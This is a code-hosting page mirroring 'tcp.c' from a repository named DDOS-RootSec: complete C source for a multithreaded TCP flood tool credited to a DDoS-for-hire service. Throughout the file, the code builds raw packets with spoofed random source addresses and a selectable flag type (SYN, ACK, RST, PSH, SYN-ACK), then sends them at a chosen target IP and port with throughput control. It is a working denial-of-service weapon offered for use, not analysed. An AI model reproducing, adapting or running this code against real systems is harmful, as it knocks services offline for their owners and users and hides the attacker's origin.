Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/tcp.c
4565 views
1
/*
2
TCP by Alemalakra.
3
*/
4
#include<stdio.h>
5
#include<string.h>
6
#include<sys/socket.h>
7
#include<stdlib.h>
8
#include<errno.h>
9
#include<netinet/tcp.h>
10
#include<arpa/inet.h>
11
#include<netinet/ip.h>
12
#include<pthread.h>
13
#include<stdint.h>
14
#include<unistd.h>
15
#include<sys/types.h>
16
#include<stdbool.h>
17
#include<time.h>
18
#define BUFFER_SIZE 100
19
char ipv4src[17];
20
static unsigned int floodport;
21
volatile unsigned int sleeptime = 100;
22
volatile unsigned int lenght_pkt = 0;
23
volatile int limiter;
24
volatile unsigned int pps;
25
int tcp_flag;
26
struct pseudo_header
27
{
28
u_int32_t source_address;
29
u_int32_t dest_address;
30
u_int8_t placeholder;
31
u_int8_t protocol;
32
u_int16_t tcp_length;
33
struct tcphdr tcp;
34
};
35
unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
36
register long sum;
37
unsigned short oddbyte;
38
register short answer;
39
sum=0;
40
while(nbytes>1) {
41
sum+=*ptr++;
42
nbytes-=2;
43
}
44
if(nbytes==1) {
45
oddbyte=0;
46
*((u_char*)&oddbyte)=*(u_char*)ptr;
47
sum+=oddbyte;
48
}
49
sum = (sum>>16)+(sum & 0xffff);
50
sum = sum + (sum>>16);
51
answer=(short)~sum;
52
return(answer);
53
}
54
char * ipv4_generator() {
55
snprintf(ipv4src, sizeof(ipv4src)-1, "%d.%d.%d.%d", rand()%253 + 1, rand()%254, rand()%254, rand()%254);
56
return ipv4src;
57
}
58
void ip_header(struct iphdr *iph) {
59
// IP Headers
60
iph->ihl = 5;
61
iph->version = 4;
62
iph->tos = 0;
63
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr);
64
iph->id = htons(rand());
65
iph->frag_off = 0;
66
iph->ttl = 64;
67
iph->protocol = IPPROTO_TCP;
68
iph->check = 0;
69
}
70
void tcp_header(struct tcphdr *tcph, int tcp_flag)
71
{
72
// TCP Headers.
73
tcph->source = htons(rand());
74
tcph->seq = rand();
75
tcph->res2 = 0;
76
tcph->doff = 5;
77
if (tcp_flag == 1) { // SYN
78
tcph->syn = 1;
79
tcph->ack = 0;
80
tcph->ack_seq = 0;
81
tcph->fin = 0;
82
tcph->psh = 0;
83
tcph->urg = 0;
84
tcph->urg_ptr = 0;
85
tcph->rst = 0;
86
} else if (tcp_flag == 2) { // ACK
87
tcph->syn = 0;
88
tcph->ack = 1;
89
tcph->ack_seq = rand();
90
tcph->fin = 0;
91
tcph->psh = 0;
92
tcph->urg = 0;
93
tcph->urg_ptr = 0;
94
tcph->rst = 0;
95
} else if (tcp_flag == 3) { // RST
96
tcph->syn = 0;
97
tcph->ack = 0;
98
tcph->ack_seq = 0;
99
tcph->fin = 0;
100
tcph->psh = 0;
101
tcph->urg = 0;
102
tcph->urg_ptr = 0;
103
tcph->rst = 1;
104
} else if (tcp_flag == 4) { // PSH
105
tcph->syn = 0;
106
tcph->ack = 0;
107
tcph->ack_seq = 0;
108
tcph->fin = 0;
109
tcph->psh = 1;
110
tcph->urg = 0;
111
tcph->urg_ptr = 0;
112
tcph->rst = 0;
113
} else if (tcp_flag == 5) { // SYN-ACK
114
tcph->syn = 1;
115
tcph->ack = 1;
116
tcph->ack_seq = 0;
117
tcph->fin = 0;
118
tcph->psh = 0;
119
tcph->urg = 0;
120
tcph->urg_ptr = 0;
121
tcph->rst = 0;
122
}
123
tcph->window = rand();
124
tcph->check = 0;
125
}
126
void *flooding_thread(void *par1)
127
{
128
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
129
if(s == -1)
130
{
131
perror("Not enough permissions for run script.");
132
exit(1);
133
}
134
char *targettr = (char *)par1;
135
char datagram[4096] , source_ip[32] , *data , *pseudogram;
136
memset (datagram, 0, 4096);
137
struct iphdr *iph = (struct iphdr *) datagram;
138
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
139
struct sockaddr_in sin;
140
struct pseudo_header psh;
141
data = "";
142
sin.sin_addr.s_addr = inet_addr (targettr);
143
strcpy(source_ip , ipv4_generator());
144
iph->saddr = inet_addr ( source_ip );
145
iph->daddr = sin.sin_addr.s_addr;
146
sin.sin_family = AF_INET;
147
sin.sin_port = htons(floodport);
148
tcph->dest = htons (floodport);
149
ip_header(iph);
150
iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
151
tcp_header(tcph, tcp_flag);
152
psh.source_address = inet_addr( source_ip );
153
psh.dest_address = sin.sin_addr.s_addr;
154
psh.placeholder = 0;
155
psh.protocol = IPPROTO_TCP;
156
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
157
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
158
pseudogram = malloc(psize);
159
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
160
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
161
tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
162
free(pseudogram);
163
int one = 1;
164
const int *val = &one;
165
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
166
{
167
exit(0);
168
}
169
int i;
170
while (1) {
171
sendto (s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin));
172
strcpy(source_ip , ipv4_generator());
173
iph->saddr = inet_addr ( source_ip );
174
psh.source_address = inet_addr( source_ip );
175
ip_header(iph);
176
tcp_header(tcph, tcp_flag);
177
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
178
iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
179
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
180
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
181
pseudogram = malloc(psize);
182
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
183
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
184
tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
185
free(pseudogram);
186
int one = 1;
187
const int *val = &one;
188
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {
189
exit(0);
190
}
191
pps++;
192
if(i >= limiter) {
193
i = 0;
194
usleep(sleeptime);
195
}
196
i++;
197
}
198
}
199
int main(int argc, char *argv[ ])
200
{
201
if(argc < 7){
202
fprintf(stderr, "TCP-FLAG method. © Booter.pw 2019 by Alemalakra.\n");
203
fprintf(stdout, "Usage: %s <IP> <PORT> <THREADS> <TIME> <PPS> <FLAG_NUMBER>\n", argv[0]);
204
fprintf(stdout, "Flag Numbers: SYN=1, ACK=2, RST=3, PSH=4, SYNACK=5\n");
205
exit(-1);
206
}
207
int multiplier = 20;
208
pps = 0;
209
limiter = 0;
210
floodport = atoi(argv[2]);
211
void * target = argv[1];
212
tcp_flag = atoi(argv[6]);
213
int maxim_pps = atoi(argv[5]);
214
int num_threads = atoi(argv[3]);
215
lenght_pkt = 0;
216
pthread_t thread[num_threads];
217
int alem = 0;
218
int i;
219
fprintf(stdout, "Starting threads (This may take some seconds).\n");
220
for(alem = 0;alem<num_threads;alem++){
221
pthread_create( &thread[alem], NULL, &flooding_thread, (void *)argv[1]); // Target
222
}
223
fprintf(stdout, "Attack started.\n");
224
for(i = 0;i<(atoi(argv[4])*multiplier);i++) {
225
usleep((1000/multiplier)*1000);
226
if((pps*multiplier) > maxim_pps)
227
{
228
if(1 > limiter)
229
{
230
sleeptime+=100;
231
} else {
232
limiter--;
233
}
234
} else {
235
limiter++;
236
if(sleeptime > 25)
237
{
238
sleeptime-=25;
239
} else {
240
sleeptime = 0;
241
}
242
}
243
pps = 0;
244
}
245
246
return 0;
247
}
248